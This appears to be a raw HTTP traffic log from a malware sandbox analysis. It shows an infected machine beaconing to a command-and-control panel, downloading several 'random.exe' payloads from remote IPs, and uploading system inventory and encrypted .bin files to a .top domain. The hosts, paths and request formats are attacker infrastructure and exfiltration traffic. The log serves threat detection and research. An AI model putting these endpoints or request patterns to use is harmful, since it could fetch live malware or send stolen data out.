Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 34 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017422001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 557977Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 35 39 32 31 36 31 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 35 30 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 33 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 34 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017423001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/london/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /WEIsmPfDcpBFJozngnYN1734366322?argument=Z2JZx72g38Fbx0A81734592167 HTTP/1.1Host: home.twentytk20pn.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 34 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017424001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 34 32 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017425001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 465Content-Type: multipart/form-data; boundary=------------------------xvEXPKdsgLaibBqWUp4BslData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 78 76 45 58 50 4b 64 73 67 4c 61 69 62 42 71 57 55 70 34 42 73 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 52 61 79 61 7a 6f 6e 69 72 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 12 5d a8 52 9b 49 a6 e7 8c 3c c7 64 72 cb 24 ac 67 06 71 89 97 6c 2a 0f c6 e7 c7 1b 04 bf f1 3e 1d 78 ad 23 ee 7e 62 b7 4f e9 6c 50 b3 bf 93 ad ea 3d 29 aa c7 b1 36 72 b6 c8 de 38 c5 aa 54 d5 ad 2c 70 91 98 b3 7b d3 1e 13 21 8e 0b d3 87 72 f0 11 b1 3f 9b fd 15 83 f5 65 db 15 03 bb 02 1b cf 87 f3 7e a0 70 f5 cb 95 58 fd df 25 ac 5b 6b 75 77 bf 67 9a 15 fd e3 c1 60 70 06 2a 9a 00 38 fc 84 33 40 fb f2 33 0d ea 39 d2 00 de 8a f5 3d 79 1d 6b 86 76 25 a0 ae c8 f7 7e ce 4f 1b 1c 9d a9 a2 f3 ce e5 46 2b 19 38 26 0a 11 4b 13 59 b4 28 87 5d c2 88 37 68 ae 9b c3 b8 c4 1d 95 72 f0 0d 65 ac 50 35 07 00 a2 57 89 37 15 c2 1b db 1e fc 1c 4c 43 9a 91 e3 75 99 b1 0a 33 43 98 40 e6 8d aa b9 81 6d 2e 14 7f 87 8d 98 c4 0d e4 23 fc c9 27 e3 9d b6 0a ea fe 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 78 76 45 58 50 4b 64 73 67 4c 61 69 62 42 71 57 55 70 34 42 73 6c 2d 2d 0d 0a Data Ascii: --------------------------xvEXPKdsgLaibBqWUp4BslContent-Disposition: form-data; name="file"; filename="Rayazonir.bin"Content-Type: application/octet-stream]RI<dr$gql>x#~bOlP=)6r8T,p{!r?e~pX%[kuwg`p83@39=ykv%~OF+8&KY(]7hreP5W7LCu3C@m.#'--------------------------xvEXPKdsgLaibBqWUp4Bsl--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 34 32 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017426001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 91210Content-Type: multipart/form-data; boundary=------------------------vXFR7b42N8vufW7VaHaqDuData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 76 58 46 52 37 62 34 32 4e 38 76 75 66 57 37 56 61 48 61 71 44 75 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 65 67 65 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a c4 1f 91 cd 75 16 fa 10 8c b4 b3 9a a6 cc 2e c3 7c 1d be e5 b0 18 48 67 d4 af 5b e3 c5 f4 4e f6 86 b7 85 1d 53 68 cb 54 a8 3f d0 de 48 f9 19 50 f8 3b f3 b0 07 b8 ef cb a6 99 c1 ec cf da 3b 8b b5 f7 e3 44 c2 11 73 c2 c7 a7 f1 9b db 55 ed ba ee d7 30 f8 aa 27 e7 fa c4 60 8b 36 4b d1 c0 6f f0 9a c9 e9 06 39 d6 6e b8 c8 2d e0 d3 2f cc 8b a0 26 c2 9a 98 54 71 41 77 46 1f a4 43 92 cb 3c 5c 57 f1 7e b1 13 61 c9 24 a7 3a a3 e6 55 b0 8a a1 30 79 3c 5e c2 4a f5 a3 be 51 df 30 33 61 38 dd 4a ea da 5f e0 2d 59 29 f7 07 64 e0 8e a9 65 1c 82 df 6c a2 02 ec 14 75 f4 da c0 00 21 25 c7 fe 57 c7 18 29 bf c2 44 f6 3d 60 53 df 01 03 71 b1 a9 16 25 d6 5b e6 7a f3 a8 cf e5 73 18 73 c2 95 b4 46 49 e7 e5 a7 1b ed d9 ff 91 a3 67 c7 f3 7b 1e 3e 3f 56 4b a2 b9 fe 2b 38 12 ec 34 89 15 2e 37 d9 12 49 8e 2e 32 d7 8e 1b e1 b5 d2 f8 27 7c 1e 40 df 72 50 76 7b 66 70 36 61 cf 26 4a 7a ed 9f bf d0 4f 33 92 50 44 9e f3 b9 56 42 a9 3d c6 48 28 90 66 d1 fd 45 b3 1d 4a 8a d7 bf 10 22 50 31 d7 d0 ed ad 10 64 cd 1f 80 74 1d 6a 00 fd b0 29 3a 0e 28 d0 1f ad 67 a4 3b c2 02 39 63 54 4c 4e 5d 0c 82 59 be 55 16 c2 c2 28 71 1b 71 e5 c5 f1 b9 3f 32 35 54 85 21 23 70 86 56 2d ce 7d 9e e4 42 80 de 38 9f ff 1c fc 27 8b 07 23 1d 4f 8f 1f 8b e8 ee 44 d8 27 6e 54 72 f7 fa a7 43 84 23 c7 87 ba 84 81 bd 32 53 83 16 6f 7f 5b 39 b7 57 1e 10 e0 6a a9 bf 1b 67 88 34 2d a4 42 fa 28 21 1f 18 47 e9 a8 d6 6c 93 d3 42 15 bf 71 52 99 0a 13 68 bb c8 0b 4d 40 ae e8 c5 71 e1 e6 48 6c a6 d1 d1 77 b8 31 46 b1 4a f7 ec ec 77 73 3c 38 39 f0 38 0d 2a cb a7 b2 26 11 83 0f 30 ea 0b 4d 97 a0 c7 56 91 4d 98 4c 0f f8 4b d8 de d9 28 88 f3 74 0d f7 ca 11 ab 03 55 4b 86 36 52 6c a3 5d e0 fb 7f e9 33 21 15 18 18 0a 08 f3 f8 d2 08 21 1c 21 22 c3 3f 74 49 4a 88 ff bc 45 7e 13 11 59 3c 53 42 70 f4 25 8a f8 e3 86 81 48 10 19 c5 c3 ec 4a a1 e5 24 18 28 dd 6a 65 0f 6d 72 69 14 fe cb 53 b4 ec 1a 46 7a d2 e2 bb fd bf 11 ff be 6d b2 e9 3a 15 b8 41 8f c9 9f dc bb 2d 7c 1a 76 1b 40 d4 56 9d b5 59 da 38 92 9e 0e b2 56 d1 c1 2f a2 fe 6d 2e 70 76 cb 40 43 d0 84 7f a7 87 c8 b3 52 f7 de c0 3b b5 f5 24 2c 1c fa 72 f7 56 44 31 7b 3d d0 22 60 d7 b1 ac 8c ce 14 df 57 64 b8 cd 93 46 c1 e2 a5 f3 b3 87 67 70 53 8e d6 39 c3 d9 ce 7e 06 03 55 d0 57 32 a5 38 68 83 83 f6 13 b8 07 50 af 8a 63 57 7b 81 af a6 5d 8f 15 4a ae c9 ef 9d 22 7a aa 13 11 ec 21 ba a7 5c 9b ee 14 5d 52 80 9d e6 1e e8 fb a2
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 34 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017427001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20pn.topAccept: /Content-Length: 30412Content-Type: multipart/form-data; boundary=------------------------DQVDW3reXStyJstPg8GODEData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 44 51 56 44 57 33 72 65 58 53 74 79 4a 73 74 50 67 38 47 4f 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 65 63 75 76 65 67 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ab 27 f1 70 7e 1b 8f c9 b1 60 e0 d5 b9 21 2b fa 92 d9 dd d6 d6 b6 2e fd f9 cd ca 30 56 19 71 d4 76 35 7a 9e 7a f1 eb 17 e0 65 ac ac 37 78 79 02 49 2c 97 a3 8d b0 0f f1 cd 62 4e 5d cf 7c 25 41 bf 79 7e f2 97 0e 84 63 62 81 ae 42 7d 64 a2 98 52 04 c2 1f cf 21 c7 08 15 7d 9f 37 a7 b9 43 33 d3 81 d9 38 a6 21 6a bc d7 2a e3 fa 8e 36 8c 89 4f 76 6b 76 e1 7a 08 3c 0a 4a 5e fd 3c c3 d8 7f 22 ec 64 ce db 79 2e 63 2e 13 4b a4 18 5d 21 52 de e8 84 00 9e 96 ba 8b 8a c0 a0 d7 86 79 b1 e7 5e 16 ff bd 1b 6e 88 79 a4 2c 28 f9 e1 f1 ab 01 19 e1 8a fd 74 08 77 d8 d0 f1 63 2a 38 08 88 25 ed 74 60 0a 3a dd c4 05 73 7c 43 3e 14 8b 4d 8e a1 5a d7 e8 22 25 68 47 5c 89 97 3e f9 4c fe 44 32 0e 27 98 fa 93 3d bd 4d 8d 9f 61 e8 db dd e9 4c 7c 75 4f 49 25 eb e1 d5 ab 0c db 12 8a b4 5e ec d3 7b 0a 1e 69 22 7c 97 07 1c d6 4e 2d 65 de 1b b6 72 47 9a a1 44 f1 e9 4f b0 1b 35 a6 16 44 f0 4f 32 fe e1 0f 43 94 17 7f a4 7e ec cb a8 b1 9d 3a 66 c7 83 74 3d c2 e5 b9 73 12 13 a7 4d 05 a0 c1 a6 32 66 76 eb e0 b2 c2 25 71 4b c7 47 6d ef 5b 0c cb 4f 90 b0 49 7e c0 01 48 47 d7 8e 00 65 1e 53 81 c8 3d f1 ed 1d e4 54 57 9a 19 a1 7a a5 67 ac 96 03 e6 88 95 49 6c c7 89 5e 14 24 dc 73 49 09 50 d9 59 b4 cd 7b 34 e0 80 6a 97 76 ce 3a 7d be 83 2d a3 6e ed d1 ec 4f 8e 47 e5 0d 11 b4 0d df d7 b6 66 3a d7 f6 06 c6 7d 7d 96 52 bb 3e 87 bf 4c b1 06 2b fe 2c 51 1c a5 bf e3 85 fa b3 fe 7f 30 8c 3e 57 54 03 40 dc ee f7 43 4a 0f 2d a6 68 df 4c 5e 99 8c d1 dd 7b 0b 04 ae de 77 64 fb 03 ac a1 1a c6 ae dc d3 c6 50 f5 a1 47 e6 21 8f b2 b6 c8 5c 16 0f 01 28 b9 38 3e 99 05 05 f6 c6 1f e7 9c ff 97 7b 14 34 6b 2f 98 e4 9a b8 19 f5 8f 41 7e c2 78 1c c4 74 68 e1 c1 5a 2d 59 3b e8 0c 6c cd 9e 04 22 17 48 06 13 eb b9 07 fc fd 12 fd d9 55 e5 18 9a cb 6d be 85 fa 94 0a 89 9c 45 ef fe 19 2c 97 9a ad 15 48 8f 44 b8 68 db 6f ac 78 ea 0a 84 bb 8b cb 49 87 de d6 db 41 3e fd f1 0b d3 df c1 6a f0 77 a0 4d 8d 4b 2a 0b fd 15 e2 37 0d f2 07 93 51 9c e3 e8 c5 96 77 a3 84 62 64 b8 76 ed e6 58 2d 1c c0 01 da b9 80 08 a6 b7 43 e3 35 86 ca 08 a7 a2 57 94 8b 36 3c 68 8f 5d d1 1e 9b e6 50 96 89 28 53 74 65 e3 39 b7 07 94 84 54 08 e7 d7 a4 86 1e cc e4 df e6 47 9a 48 9c a7 2e 91 fb cc 88 07 7f 69 c8 d4 5a e8 1e 67 a8 69 52 f7 b8 6c a8 53 8f 40 19 bb 82 91 39 e8 9c 4b 9e 56 4a ec 0f 1c f8 bb 81 b1 b8 44 fd a7 1c 61 b3 b3 31 2f 9f 4b 11 f2 65 79 34 3f 66 a8 d3 a8 02 65 4e 3a
Source: global traffic	HTTP traffic detected: POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1Host: home.twentytk20pn.topAccept: /Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 5a 32 4a 5a 78 37 32 67 33 38 46 62 78 30 41 38 31 37 33 34 35 39 32 31 36 37 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "Z2JZx72g38Fbx0A81734592167", "data": "Done2" }
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 37 34 32 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017428001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 32 32 42 37 34 42 30 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB22B74B05182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
